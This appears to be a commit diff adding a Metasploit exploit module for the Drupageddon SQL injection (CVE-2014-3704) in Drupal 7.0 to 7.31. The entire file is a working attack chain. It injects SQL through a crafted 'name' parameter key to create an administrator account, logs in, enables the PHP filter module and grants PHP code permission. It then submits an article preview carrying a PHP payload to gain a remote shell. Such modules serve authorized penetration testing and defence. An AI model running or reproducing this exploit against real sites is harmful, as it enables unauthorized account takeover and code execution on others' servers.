|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info={}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits the Drupal HTTP Parameter Key/Value SQL Injection |
| 18 | + (aka Drupageddon) in order to achieve a remote shell on the vulnerable |
| 19 | + instance. This module was tested against Drupal 7.0 and 7.31 (was fixed |
| 20 | + in 7.32). |
| 21 | + }, |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'SektionEins', # discovery |
| 26 | + 'Christian Mehlmauer', # msf module |
| 27 | + 'Brandon Perry' # msf module |
| 28 | + ], |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + ['CVE', '2014-3704'], |
| 32 | + ['URL', 'https://www.drupal.org/SA-CORE-2014-005'], |
| 33 | + ['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html'] |
| 34 | + ], |
| 35 | + 'Privileged' => false, |
| 36 | + 'Platform' => ['php'], |
| 37 | + 'Arch' => ARCH_PHP, |
| 38 | + 'Targets' => [['Drupal 7.0 - 7.31',{}]], |
| 39 | + 'DisclosureDate' => 'Oct 15 2014', |
| 40 | + 'DefaultTarget' => 0 |
| 41 | + )) |
| 42 | + |
| 43 | + register_options( |
| 44 | + [ |
| 45 | + OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']) |
| 46 | + ], self.class) |
| 47 | + |
| 48 | + register_advanced_options( |
| 49 | + [ |
| 50 | + OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']), |
| 51 | + OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10]) |
| 52 | + ], self.class) |
| 53 | + end |
| 54 | + |
| 55 | + def uri_path |
| 56 | + normalize_uri(target_uri.path) |
| 57 | + end |
| 58 | + |
| 59 | + def admin_role |
| 60 | + datastore['ADMIN_ROLE'] |
| 61 | + end |
| 62 | + |
| 63 | + def iter |
| 64 | + datastore['ITER'] |
| 65 | + end |
| 66 | + |
| 67 | + def itoa64 |
| 68 | + './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' |
| 69 | + end |
| 70 | + |
| 71 | + # PHPs PHPASS base64 method |
| 72 | + def phpass_encode64(input, count) |
| 73 | + out = '' |
| 74 | + cur = 0 |
| 75 | + while cur < count |
| 76 | + value = input[cur].ord |
| 77 | + cur += 1 |
| 78 | + out << itoa64[value & 0x3f] |
| 79 | + if cur < count |
| 80 | + value |= input[cur].ord << 8 |
| 81 | + end |
| 82 | + out << itoa64[(value >> 6) & 0x3f] |
| 83 | + break if cur >= count |
| 84 | + cur += 1 |
| 85 | + |
| 86 | + if cur < count |
| 87 | + value |= input[cur].ord << 16 |
| 88 | + end |
| 89 | + out << itoa64[(value >> 12) & 0x3f] |
| 90 | + break if cur >= count |
| 91 | + cur += 1 |
| 92 | + out << itoa64[(value >> 18) & 0x3f] |
| 93 | + end |
| 94 | + out |
| 95 | + end |
| 96 | + |
| 97 | + def generate_password_hash(pass) |
| 98 | + # Syntax for MD5: |
| 99 | + # $P$ = MD5 |
| 100 | + # one char representing the hash iterations (min 7) |
| 101 | + # 8 chars salt |
| 102 | + # MD5_raw(salt.pass) + iterations |
| 103 | + # MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5 |
| 104 | + iter_char = itoa64[iter] |
| 105 | + salt = Rex::Text.rand_text_alpha(8) |
| 106 | + md5 = Rex::Text.md5_raw("#{salt}#{pass}") |
| 107 | + # convert iter from log2 to integer |
| 108 | + iter_count = 2**iter |
| 109 | + 1.upto(iter_count) { |
| 110 | + md5 = Rex::Text.md5_raw("#{md5}#{pass}") |
| 111 | + } |
| 112 | + md5_base64 = phpass_encode64(md5, md5.length) |
| 113 | + md5_stripped = md5_base64[0...22] |
| 114 | + pass = "$P\\$" + iter_char + salt + md5_stripped |
| 115 | + vprint_debug("#{peer} - password hash: #{pass}") |
| 116 | + |
| 117 | + return pass |
| 118 | + end |
| 119 | + |
| 120 | + def sql_insert_user(user, pass) |
| 121 | + "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users" |
| 122 | + end |
| 123 | + |
| 124 | + def sql_make_user_admin(user) |
| 125 | + "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))" |
| 126 | + end |
| 127 | + |
| 128 | + def extract_form_ids(content) |
| 129 | + form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/ |
| 130 | + form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/ |
| 131 | + |
| 132 | + vprint_debug("#{peer} - form_build_id: #{form_build_id}") |
| 133 | + vprint_debug("#{peer} - form_token: #{form_token}") |
| 134 | + |
| 135 | + return form_build_id, form_token |
| 136 | + end |
| 137 | + |
| 138 | + def exploit |
| 139 | + |
| 140 | + # TODO: Check if option admin_role exists via admin/people/permissions/roles |
| 141 | + |
| 142 | + # call login page to extract tokens |
| 143 | + print_status("#{peer} - Testing page") |
| 144 | + res = send_request_cgi({ |
| 145 | + 'uri' => uri_path, |
| 146 | + 'vars_get' => { |
| 147 | + 'q' => 'user/login' |
| 148 | + } |
| 149 | + }) |
| 150 | + |
| 151 | + unless res and res.body |
| 152 | + fail_with(Failure::Unknown, "No response or response body, bailing.") |
| 153 | + end |
| 154 | + |
| 155 | + form_build_id, form_token = extract_form_ids(res.body) |
| 156 | + |
| 157 | + user = Rex::Text.rand_text_alpha(10) |
| 158 | + pass = Rex::Text.rand_text_alpha(10) |
| 159 | + |
| 160 | + post = { |
| 161 | + "name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10), |
| 162 | + 'name[0]' => Rex::Text.rand_text_alpha(10), |
| 163 | + 'pass' => Rex::Text.rand_text_alpha(10), |
| 164 | + 'form_build_id' => form_build_id, |
| 165 | + 'form_id' => 'user_login', |
| 166 | + 'op' => 'Log in' |
| 167 | + } |
| 168 | + |
| 169 | + print_status("#{peer} - Creating new user #{user}:#{pass}") |
| 170 | + res = send_request_cgi({ |
| 171 | + 'uri' => uri_path, |
| 172 | + 'method' => 'POST', |
| 173 | + 'vars_post' => post, |
| 174 | + 'vars_get' => { |
| 175 | + 'q' => 'user/login' |
| 176 | + } |
| 177 | + }) |
| 178 | + |
| 179 | + unless res and res.body |
| 180 | + fail_with(Failure::Unknown, "No response or response body, bailing.") |
| 181 | + end |
| 182 | + |
| 183 | + # login |
| 184 | + print_status("#{peer} - Logging in as #{user}:#{pass}") |
| 185 | + res = send_request_cgi({ |
| 186 | + 'uri' => uri_path, |
| 187 | + 'method' => 'POST', |
| 188 | + 'vars_post' => { |
| 189 | + 'name' => user, |
| 190 | + 'pass' => pass, |
| 191 | + 'form_build_id' => form_build_id, |
| 192 | + 'form_id' => 'user_login', |
| 193 | + 'op' => 'Log in' |
| 194 | + }, |
| 195 | + 'vars_get' => { |
| 196 | + 'q' => 'user/login' |
| 197 | + } |
| 198 | + }) |
| 199 | + |
| 200 | + unless res and res.code == 302 |
| 201 | + fail_with(Failure::Unknown, "No response or response body, bailing.") |
| 202 | + end |
| 203 | + |
| 204 | + cookie = res.get_cookies |
| 205 | + vprint_debug("#{peer} - cookie: #{cookie}") |
| 206 | + |
| 207 | + # call admin interface to extract CSRF token and enabled modules |
| 208 | + print_status("#{peer} - Trying to parse enabled modules") |
| 209 | + res = send_request_cgi({ |
| 210 | + 'uri' => uri_path, |
| 211 | + 'vars_get' => { |
| 212 | + 'q' => 'admin/modules' |
| 213 | + }, |
| 214 | + 'cookie' => cookie |
| 215 | + }) |
| 216 | + |
| 217 | + form_build_id, form_token = extract_form_ids(res.body) |
| 218 | + |
| 219 | + enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/ |
| 220 | + enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match } |
| 221 | + |
| 222 | + unless enabled_matches |
| 223 | + fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.") |
| 224 | + end |
| 225 | + |
| 226 | + post = { |
| 227 | + 'modules[Core][php][enable]' => '1', |
| 228 | + 'form_build_id' => form_build_id, |
| 229 | + 'form_token' => form_token, |
| 230 | + 'form_id' => 'system_modules', |
| 231 | + 'op' => 'Save configuration' |
| 232 | + } |
| 233 | + |
| 234 | + enabled_matches.each do |match| |
| 235 | + post[match.captures[0]] = '1' |
| 236 | + end |
| 237 | + |
| 238 | + # enable PHP filter |
| 239 | + print_status("#{peer} - Enabling the PHP filter module") |
| 240 | + res = send_request_cgi({ |
| 241 | + 'uri' => uri_path, |
| 242 | + 'method' => 'POST', |
| 243 | + 'vars_post' => post, |
| 244 | + 'vars_get' => { |
| 245 | + 'q' => 'admin/modules/list/confirm' |
| 246 | + }, |
| 247 | + 'cookie' => cookie |
| 248 | + }) |
| 249 | + |
| 250 | + unless res and res.body |
| 251 | + fail_with(Failure::Unknown, "No response or response body, bailing.") |
| 252 | + end |
| 253 | + |
| 254 | + # Response: http 302, Location: http://10.211.55.50/?q=admin/modules |
| 255 | + |
| 256 | + print_status("#{peer} - Setting permissions for PHP filter module") |
| 257 | + |
| 258 | + # allow admin to use php_code |
| 259 | + res = send_request_cgi({ |
| 260 | + 'uri' => uri_path, |
| 261 | + 'vars_get' => { |
| 262 | + 'q' => 'admin/people/permissions' |
| 263 | + }, |
| 264 | + 'cookie' => cookie |
| 265 | + }) |
| 266 | + |
| 267 | + |
| 268 | + unless res and res.body |
| 269 | + fail_with(Failure::Unknown, "No response or response body, bailing.") |
| 270 | + end |
| 271 | + |
| 272 | + form_build_id, form_token = extract_form_ids(res.body) |
| 273 | + |
| 274 | + perm_regex = /name="(.*)" value="(.*)" checked="checked"/ |
| 275 | + enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match } |
| 276 | + |
| 277 | + unless enabled_perms |
| 278 | + fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.") |
| 279 | + end |
| 280 | + |
| 281 | + # get administrator role id |
| 282 | + id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/ |
| 283 | + vprint_debug("#{peer} - admin role id: #{id}") |
| 284 | + |
| 285 | + unless id |
| 286 | + fail_with(Failure::Unknown, "Could not parse out administrator ID") |
| 287 | + end |
| 288 | + |
| 289 | + post = { |
| 290 | + "#{id}[use text format php_code]" => 'use text format php_code', |
| 291 | + 'form_build_id' => form_build_id, |
| 292 | + 'form_token' => form_token, |
| 293 | + 'form_id' => 'user_admin_permissions', |
| 294 | + 'op' => 'Save permissions' |
| 295 | + } |
| 296 | + |
| 297 | + enabled_perms.each do |match| |
| 298 | + post[match.captures[0]] = match.captures[1] |
| 299 | + end |
| 300 | + |
| 301 | + res = send_request_cgi({ |
| 302 | + 'uri' => uri_path, |
| 303 | + 'method' => 'POST', |
| 304 | + 'vars_post' => post, |
| 305 | + 'vars_get' => { |
| 306 | + 'q' => 'admin/people/permissions' |
| 307 | + }, |
| 308 | + 'cookie' => cookie |
| 309 | + }) |
| 310 | + |
| 311 | + unless res and res.body |
| 312 | + fail_with(Failure::Unknown, "No response or response body, bailing.") |
| 313 | + end |
| 314 | + |
| 315 | + # Add new Content page (extract csrf token) |
| 316 | + print_status("#{peer} - Getting tokens from create new article page") |
| 317 | + res = send_request_cgi({ |
| 318 | + 'uri' => uri_path, |
| 319 | + 'vars_get' => { |
| 320 | + 'q' => 'node/add/article' |
| 321 | + }, |
| 322 | + 'cookie' => cookie |
| 323 | + }) |
| 324 | + |
| 325 | + unless res and res.body |
| 326 | + fail_with(Failure::Unknown, "No response or response body, bailing.") |
| 327 | + end |
| 328 | + |
| 329 | + form_build_id, form_token = extract_form_ids(res.body) |
| 330 | + |
| 331 | + # Preview to trigger the payload |
| 332 | + data = Rex::MIME::Message.new |
| 333 | + data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"') |
| 334 | + data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"') |
| 335 | + data.add_part(form_token, nil, nil, 'form-data; name="form_token"') |
| 336 | + data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"') |
| 337 | + data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"') |
| 338 | + data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"') |
| 339 | + data.add_part('Preview', nil, nil, 'form-data; name="op"') |
| 340 | + data.add_part(user, nil, nil, 'form-data; name="name"') |
| 341 | + data.add_part('1', nil, nil, 'form-data; name="status"') |
| 342 | + data.add_part('1', nil, nil, 'form-data; name="promote"') |
| 343 | + post_data = data.to_s |
| 344 | + |
| 345 | + print_status("#{peer} - Calling preview page. Exploit should trigger...") |
| 346 | + send_request_cgi( |
| 347 | + 'method' => 'POST', |
| 348 | + 'uri' => uri_path, |
| 349 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 350 | + 'data' => post_data, |
| 351 | + 'vars_get' => { |
| 352 | + 'q' => 'node/add/article' |
| 353 | + }, |
| 354 | + 'cookie' => cookie |
| 355 | + ) |
| 356 | + end |
| 357 | +end |
0 commit comments